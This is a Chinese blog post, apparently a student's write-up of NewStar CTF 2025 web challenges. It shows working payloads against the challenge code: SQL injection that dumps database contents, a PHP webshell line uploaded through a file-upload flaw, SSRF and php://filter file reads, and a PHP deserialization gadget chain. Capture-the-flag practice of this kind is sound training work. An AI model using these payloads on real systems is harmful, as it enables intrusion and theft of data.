NewStar CTF 2025复现

xhxbb Lv1

啊啊啊啊啊啊啊好菜好菜好菜,复现复现复现T_T

Week1

multi-headach3

访问/robots.txt,接着访问/hidden.php,但是重定向了,查看相应头,得到flag。


宇宙的中心是php

抓个包发现路径/s3kret.php

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}

intval() 是 PHP 中用于获取变量整数值的函数,它可以将各种类型的值转换为整数。(将不同进制转换为十进制整数)。intval($answer,0),当 intval() 的第二个参数设置为 0 时,函数会根据字符串的格式自动检测进制。

1
2
3
4
5
6
7
8
9
<?php
$tests = ['47', '047', '0x2f', '0X2F', '0b101111'];
foreach($tests as $t){
echo $t," => intval=",
intval($t),
" intval(,0)=",
intval($t,0),
PHP_EOL;
}

0x2f满足条件

hackbar提交即可获得flag。

别笑你也过不了第二关

1
2
3
4
score = 1000000;
currentLevel = 1;
endLevel();
//控制台中输入

我真得控制你了

抓包后让ai来审计前端代码,有保护层,书签绕过

1
javascript:(function(){document.getElementById('shieldOverlay')?.remove();document.getElementById(%27accessButton%27).disabled=false;document.getElementById(%27accessButton%27).classList.add(%27active%27);})()

ai解析:

  1. javascript: 协议
1
javascript:代码内容
  • 这是浏览器支持的特殊协议
  • 允许在地址栏或书签中直接执行JavaScript代码
  • 相当于在当前页面注入并执行脚本
  1. 立即执行函数

javascript

1
(function(){ ... })()
  • 创建一个匿名函数并立即执行
  • 避免污染全局作用域
  1. 移除保护层

javascript

1
document.getElementById('shieldOverlay')?.remove();
  • ?. 是可选链操作符,如果元素存在才执行remove()
  • 直接删除遮挡的DOM元素
  1. 启用按钮

javascript

1
2
document.getElementById('accessButton').disabled = false;
document.getElementById('accessButton').classList.add('active');
  • 移除按钮的禁用状态
  • 添加激活样式类

接着,下一关弱口令爆破即可,获得密码。

接着

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];

if (is_array($input)) {
die("恭喜掌握新姿势");
}


if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}


if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}

$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}

if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>

还是代码审计

payload:

1
(~((~0)*2026))

黑客小W的故事(1)

很简单考察http协议相关内容,根据提示要求来即可。

先抓包,修改点击次数即可到下一关。

接着,到蘑菇先生那,传参

下一步用POST传一个guding

下一步用DELETE,传入chongzi,然后到下一关,去找习奥

修改ua头

DashSlash/5.0同理,注意不要忘了/5.0,低了不行,两个一起发过去

最后去到最后一关获得flag

strange_login

最简单的sql注入

Week2

DD加速器

;分隔造成了命令执行

白帽小K的故事(1)

一道文件上传的题目,多了一层寻找接口

以下为敏感接口

结合js代码,尝试访问这个接口

由此图可以发现服务器正在将star.mp3文件当作php代码去解析,那么在这里我们便能进行文件上传了

直接解析了8.mp3中的内容:

1
<?php system('env'); ?>

真的是签到诶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file(__FILE__);

$cipher = $_POST['cipher'] ?? '';

function atbash($text) {
$result = '';
foreach (str_split($text) as $char) {
if (ctype_alpha($char)) {
$is_upper = ctype_upper($char);
$base = $is_upper ? ord('A') : ord('a');
$offset = ord(strtolower($char)) - ord('a');
$new_char = chr($base + (25 - $offset));
$result .= $new_char;
} else {
$result .= $char;
}
}
return $result;
}

if ($cipher) {
$cipher = base64_decode($cipher);
$encoded = atbash($cipher);
$encoded = str_replace(' ', '', $encoded);
$encoded = str_rot13($encoded);
@eval($encoded);
exit;
}

$question = "真的是签到吗?";
$answer = "真的很签到诶!";

$res = $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;

?>

代码审计题目

编码链逻辑为:先进行base64解码->接着执行atbash->再删除所有的空格->再进行rot13->最后命令执行

我们发送逻辑需要与之相反

Atbash 是一种替换密码:A → Z, B → Y, C → X, …, Z → A a → z, b → y, c → x, …, z → a 非字母字符保持不变

payload:

搞点哦润吉吃吃橘

脚本题,头疼,写不来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import re
import pyperclip
import time
import sys

# 用于存储上次剪贴板的内容,以检测是否有新的表达式
last_clipboard_content = ""

def calculate_token(expression):
"""
解析表达式字符串,使用当前时间计算 Token,并返回结果。
"""
# 正则表达式寻找 "* 数字) ^ 0x十六进制"
match = re.search(r'\*\s*(\d+)\)\s*\^\s*(0x[0-9a-fA-F]+)', expression)

if not match:
# 如果不是有效的表达式格式,则忽略
return None

try:
multiplier = int(match.group(1))
xor_hex = match.group(2)
xor_value = int(xor_hex, 16)
except Exception:
return None

# 获取当前 Unix 时间戳
t = int(time.time())

# 计算 Token: (t * multiplier) ^ xor_value
token = (t * multiplier) ^ xor_value

print("\n[+] 发现新表达式并计算:")
print(f" - 表达式: {expression.strip()}")
print(f" - 乘数/异或值: {multiplier} / {xor_hex}")
print(f" - 使用时间戳 (t): {t}")
print(f" - 计算出的 Token: {token}")

return str(token)

def monitor_clipboard():
"""
持续监控剪贴板内容,检测到有效表达式后进行计算和替换。
"""
global last_clipboard_content
print(">>> 脚本正在运行。请在网页上点击'开始验证'并复制新的表达式。")
print(">>> 发现新表达式后,答案会瞬间替换您的剪贴板内容。")
print(">>> 按 Ctrl+C 停止脚本。")

# 初始化 last_clipboard_content
try:
last_clipboard_content = pyperclip.paste().strip()
except pyperclip.PyperclipException:
print("[-] 错误:无法访问剪贴板。请确保您在命令行环境中运行,或者尝试手动输入版本。")
sys.exit(1)


while True:
try:
# 1. 读取当前剪贴板内容
current_clipboard_content = pyperclip.paste().strip()

# 2. 检测内容是否更新 且 长度合理(排除空内容和很短的内容)
if current_clipboard_content != last_clipboard_content and len(current_clipboard_content) > 20:

# 3. 尝试计算 Token
token_result = calculate_token(current_clipboard_content)

if token_result:
# 4. 计算成功,将 Token 答案写入剪贴板
pyperclip.copy(token_result)
print(f"\n<<< 答案已写入剪贴板!请立即粘贴提交。>>>")
# 更新 last_clipboard_content 为计算结果,避免重复触发
last_clipboard_content = token_result
else:
# 如果不是有效的表达式,仅更新 last_clipboard_content,避免重复触发检查
last_clipboard_content = current_clipboard_content

time.sleep(0.5) # 每 0.5 秒检查一次剪贴板

except KeyboardInterrupt:
print("\n脚本已停止。")
break
except pyperclip.PyperclipException:
# 忽略一些剪贴板访问错误
pass
except Exception as e:
print(f"[-] 发生未知错误: {e}")
time.sleep(1)


if __name__ == "__main__":
monitor_clipboard()

专业里大佬的脚本

小 E 的管理系统

根据提示先进行fuzz,看看过滤了哪些东西

很多如#,—+,–,=,;,‘,”等都被过滤了

1
?id=1%0aORDER%0aBY%0a6

回显

1
{"error":"database error: Unable to prepare statement: 1st ORDER BY term out of range - should be between 1 and 5"}

判断有5列

1
?id=1%0aUNION%0aselect%0a*%0afrom%0a((select%0a1)A%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)C%0ajoin%0a(select%0a4)D%0ajoin%0a(select%0a5)E)

绕过逗号方式:union select * from ((select 1)A join (select 2)B join (select 3)C)

回显

1
{"id":1,"cpu":2,"ram":3,"status":4,"lastChecked":5},{"id":1,"cpu":"23%","ram":"45%","status":"Online","lastChecked":"2025-12-03 12:24:30"}

回显点都判断出来了

1
?id=1%0aUNION%0aselect%0a*%0afrom%0a((select%0asqlite_version())A%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)C%0ajoin%0a(select%0a4)D%0ajoin%0a(select%0a5)E)

回显

1
{"id":1,"cpu":"23%","ram":"45%","status":"Online","lastChecked":"2025-12-03 12:24:30"},{"id":"3.46.1","cpu":2,"ram":3,"status":4,"lastChecked":5}

判断出数据库类型为sqlite

1
?id=1%0aUNION%0aselect%0a*%0afrom%0a((select%0agroup_concat(name)%0afrom%0asqlite_master)A%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)C%0ajoin%0a(select%0a4)D%0ajoin%0a(select%0a5)E)

得到所有的表名

1
{"id":1,"cpu":"23%","ram":"45%","status":"Online","lastChecked":"2025-12-03 12:24:30"},{"id":"node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence","cpu":2,"ram":3,"status":4,"lastChecked":5}

所有表名:node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence

1
?id=1%0aUNION%0aselect%0a*%0afrom%0a((select%0agroup_concat(config_value)%0afrom%0asys_config)A%0ajoin%0a(select%0a2)b%0ajoin%0a(select%0a3)C%0ajoin%0a(select%0a4)D%0ajoin%0a(select%0a5)E)
1
{"id":1,"cpu":"23%","ram":"45%","status":"Online","lastChecked":"2025-12-03 12:24:30"},{"id":"flag{5c1e28fe-131d-541b-4ff2-835c10403d68}","cpu":2,"ram":3,"status":4,"lastChecked":5}

得到flag

Week3

ssrf

mygo

请求到了flag.php的内容。

接着直接file://读flag

payload:

1
/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag

mirror_gate

文件上传题

1
2
<!-- flag is in flag.php -->
<!-- HINT: c29tZXRoaW5nX2lzX2luXy91cGxvYWRzLw== -->

大无语,做题的时候没看到这个提示,呜呜呜呜呜呜呜呜呜呜呜呜呜呜T_T……….

base64解码:something_is_in_/uploads/

那么就去看看,直接访问403了,存在该目录。

接着目录爆破一下

扫到了.htaccess

访问:

1
AddType application/x-httpd-php .webp

配置将webp文件解析为php文件

接下来就好进行文件上传了

(注:要在实在的webp文件中添加命令执行代码)

最后访问即可在环境变量中获得flag。

小E的秘密计划

进入后题目提示:先找到网站备份文件

目录扫描一下,果然找到了www.zip

下载下来发现目录/public-555edc76-9621-4997-86b9-01483a50293e

随便登录一下,登录失败,题目又提示,在git里找吧,好,我们就去git里找。

ez_clain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
$waf = array('/',':','php','base64','data','zip','rar','filter','flag');
foreach ($waf as $waf_word) {
if (stripos($file, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

function filter_output($data) {
$waf = array('f');
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
while (true) {
$decoded = base64_decode($data, true);
if ($decoded === false || $decoded === $data) {
break;
}
$data = $decoded;
}
foreach ($waf as $waf_word) {
if (stripos($data, $waf_word) !== false) {
echo "waf:".$waf_word;
return false;
}
}
return true;
}

if (isset($_GET['file'])) {
$file = $_GET['file'];
if (filter($file) !== true) {
die();
}
$file = urldecode($file);
$data = file_get_contents($file);
if (filter_output($data) !== true) {
die();
}
echo $data;
}
highlight_file(__FILE__);

?>

ban了这些东西:’/‘,’:’,’php’,’base64’,’data’,’zip’,’rar’,’filter’,’flag’

并且对输出有限制:过滤了f

php://filter/string.rot13/resource=/flag

$file = urldecode($file);

进行双重url编码

payload:

1
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%32%46%25%36%36%25%36%43%25%36%31%25%36%37

who’ssti

ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from flask import Flask, jsonify, request, render_template_string, render_template
import sys, random

func_List = ["get_close_matches", "dedent", "fmean",
"listdir", "search", "randint", "load", "sum",
"findall", "mean", "choice"]
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)
BoleanFlag = False
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = ""

def trace_calls(frame, event, arg):
if event == 'call':
func_name = frame.f_code.co_name
# print(func_name)
if func_name in need_List:
need_List[func_name] = 1
if all(need_List.values()):
global BoleanFlag
BoleanFlag = True
return trace_calls


app = Flask(__name__)
@app.route('/', methods=["GET", "POST"])
def index():
submit = request.form.get('submit')
if submit:
sys.settrace(trace_calls)
print(render_template_string(submit))
sys.settrace(None)
if BoleanFlag:
return jsonify({"flag": RealFlag})
return jsonify({"status": "OK"})
return render_template_string('''<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>首页</title>
</head>
<body>
<h1>提交你的代码,让后端看看你的厉害!</h1>
<form action="/" method="post">
<label for="submit">提交一下:</label>
<input type="text" id="submit" name="submit" required>
<button type="submit">提交</button>
</form>
<div style="margin-top: 20px;">
<p> 尝试调用到这些函数! </p>
{% for func in funcList %}
<p>{{ func }}</p>
{% endfor %}
<div style="margin-top: 20px; color: red;">
<p> 你目前已经调用了 {{ called_funcs|length }} 个函数:</p>
<ul>
{% for func in called_funcs %}
<li>{{ func }}</li>
{% endfor %}
</ul>
</div>
</body>
<script>

</script>
</html>

'''
,
funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

Week4

小羊走迷宫

死在传参上了

php get或post变量名中非法字符转化规则_php非法字符-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
class startPoint{
public $direction;
function __wakeup(){
echo "gogogo出发咯 ";
$way = $this->direction;
return $way();
}
}
class Treasure{
public $door;
public $chest;
function __get($arg){
echo "拿到钥匙咯,开门! ";
$this -> door -> open();
}
function __toString(){
echo "小羊真可爱! ";
return $this -> chest -> key;
}
}
class SaySomething{
public $sth;
function __invoke()
{
echo "说点什么呢 ";
return "说: ".$this->sth;
}
}
class endPoint{
public $path;
function __call($arg1,$arg2){
echo "到达终点!现在尝试获取flag吧"."<br>";
echo file_get_contents($this->path);
}
}

$start = new startPoint();
$say = new SaySomething();
$treasure = new Treasure();
$end = new endPoint();

// 建立引用关系(与之前分析一致)
$end->path = 'flag.php'; // 目标文件,根据实际情况修改
$treasure->door = $end; // Treasure->door 指向 endPoint
$treasure->chest = $treasure; // 自引用:chest 指向自己
$say->sth = $treasure; // SaySomething->sth 指向 Treasure
$start->direction = $say; // startPoint->direction 指向 SaySomething

// -----------------------------
// 序列化并输出
// -----------------------------
$serialized = serialize($start);
$b64 = base64_encode($serialized);
echo $serialized;
echo $b64;

?ma[ze.path=TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NDoiZG9vciI7Tzo4OiJlbmRQb2ludCI6MTp7czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9czo1OiJjaGVzdCI7cjozO319fQ==

武功秘籍

dcrcms,跟着网上文章复现即可。后台账号密码都为admin

Week5

  • 标题: NewStar CTF 2025复现
  • 作者: xhxbb
  • 创建于 : 2025-12-03 19:50:43
  • 更新于 : 2025-12-03 21:56:04
  • 链接: https://xhxbb1.github.io/2025/12/03/NewStar-CTF-2025复现/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论